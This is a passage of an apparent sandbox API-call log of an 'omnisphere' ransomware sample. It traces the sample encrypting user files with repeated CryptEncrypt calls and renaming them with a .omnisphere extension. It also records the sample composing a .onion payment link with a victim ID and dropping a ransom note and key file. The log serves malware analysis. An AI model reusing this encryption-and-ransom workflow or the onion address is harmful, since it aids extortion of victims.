pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.104] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.105] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.105] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.105] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.105] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.105] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.105] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.105] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.105] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.105] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.105] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.105] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.105] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.105] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.105] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.105] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.105] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.105] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.105] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.114] CryptDestroyKey (hKey=0x1639528) returned 1 [0089.114] CryptReleaseContext (hProv=0x1668ce0, dwFlags=0x0) returned 1 [0089.114] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4197e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0089.114] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0089.114] GetProcessHeap () returned 0x1600000 [0089.114] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a6) returned 0x16374f8 [0089.114] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gb.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gb.xsl.omnisphere")) returned 1 [0089.115] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL.omnisphere.id" [0089.115] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gb.xsl.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0089.116] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0089.117] CloseHandle (hObject=0x3c0) returned 1 [0089.118] UnmapViewOfFile (lpBaseAddress=0x3c00000) returned 1 [0089.121] CloseHandle (hObject=0x288) returned 1 [0089.121] SetEndOfFile (hFile=0x28c) returned 1 [0089.121] FlushFileBuffers (hFile=0x28c) returned 1 [0089.788] CloseHandle (hObject=0x28c) returned 1 [0089.788] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned 1 [0089.788] GetProcessHeap () returned 0x1600000 [0089.788] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16377a8 [0089.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0089.789] GetProcessHeap () returned 0x1600000 [0089.789] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f2b0 [0089.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f2b0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0089.789] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0089.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0089.789] GetProcessHeap () returned 0x1600000 [0089.789] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f6d0 [0089.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f6d0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0089.789] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0089.789] GetProcessHeap () returned 0x1600000 [0089.789] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb8) returned 0x166ae78 [0089.789] PathCombineW (in: pszDest=0x166ae78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" [0089.789] GetProcessHeap () returned 0x1600000 [0089.789] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16807a0 [0089.789] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0089.790] WriteFile (in: hFile=0x28c, lpBuffer=0x16807a0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16807a0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0089.790] CloseHandle (hObject=0x28c) returned 1 [0089.790] GetProcessHeap () returned 0x1600000 [0089.790] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16377a8 | out: hHeap=0x1600000) returned 1 [0089.791] GetProcessHeap () returned 0x1600000 [0089.791] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x1630f58 [0089.791] PathCombineW (in: pszDest=0x1630f58, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" [0089.791] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0089.791] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0089.791] CloseHandle (hObject=0x28c) returned 1 [0089.791] GetProcessHeap () returned 0x1600000 [0089.791] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1630f58 | out: hHeap=0x1600000) returned 1 [0089.791] GetProcessHeap () returned 0x1600000 [0089.791] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e688 | out: hHeap=0x1600000) returned 1 [0089.791] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da7ba7, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2da7ba7, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2120015, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x3e966, dwReserved0=0x0, dwReserved1=0xce, cFileName="GostName.XSL", cAlternateFileName="")) returned 1 [0089.791] GetProcessHeap () returned 0x1600000 [0089.791] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa2) returned 0x162da78 [0089.791] PathCombineW (in: pszDest=0x162da78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="GostName.XSL" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL" [0089.792] StrStrW (lpFirst=".omnisphere", lpSrch=".XSL") returned 0x0 [0089.792] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\gostname.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0089.792] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=256358) returned 1 [0089.792] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3e442, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0089.792] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0089.948] GetTickCount () returned 0x1156a4f [0089.948] GetTickCount () returned 0x1156a4f [0089.948] GetTickCount () returned 0x1156a4f [0089.948] GetTickCount () returned 0x1156a4f [0089.948] GetTickCount () returned 0x1156a4f [0089.948] GetTickCount () returned 0x1156a4f [0089.948] GetTickCount () returned 0x1156a4f [0089.948] GetTickCount () returned 0x1156a4f [0089.948] GetTickCount () returned 0x1156a4f [0089.948] GetTickCount () returned 0x1156a4f [0089.948] GetTickCount () returned 0x1156a4f [0089.948] GetTickCount () returned 0x1156a4f [0089.948] GetTickCount () returned 0x1156a4f [0089.948] GetTickCount () returned 0x1156a4f [0089.948] GetTickCount () returned 0x1156a4f [0089.948] GetTickCount () returned 0x1156a4f [0089.948] GetTickCount () returned 0x1156a4f [0089.948] GetTickCount () returned 0x1156a4f [0089.949] GetTickCount () returned 0x1156a4f [0089.949] GetTickCount () returned 0x1156a4f [0089.949] GetTickCount () returned 0x1156a4f [0089.949] GetTickCount () returned 0x1156a4f [0089.949] GetTickCount () returned 0x1156a4f [0089.949] GetTickCount () returned 0x1156a4f [0089.949] GetTickCount () returned 0x1156a4f [0089.949] GetTickCount () returned 0x1156a4f [0089.949] GetTickCount () returned 0x1156a4f [0089.949] GetTickCount () returned 0x1156a4f [0089.949] GetTickCount () returned 0x1156a4f [0089.949] GetTickCount () returned 0x1156a4f [0089.949] GetTickCount () returned 0x1156a4f [0089.949] GetTickCount () returned 0x1156a4f [0089.949] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16682c8) returned 1 [0089.949] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16395e8) returned 1 [0089.950] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0089.950] CryptDestroyKey (hKey=0x16395e8) returned 1 [0089.950] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0089.950] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e966, lpName=0x0) returned 0x288 [0089.950] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e966) returned 0x3c00000 [0090.405] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668708) returned 1 [0090.406] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0090.406] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0090.406] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0090.406] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.406] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.406] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.406] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.406] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.406] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.406] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.406] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.406] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.406] CryptEncrypt (in: 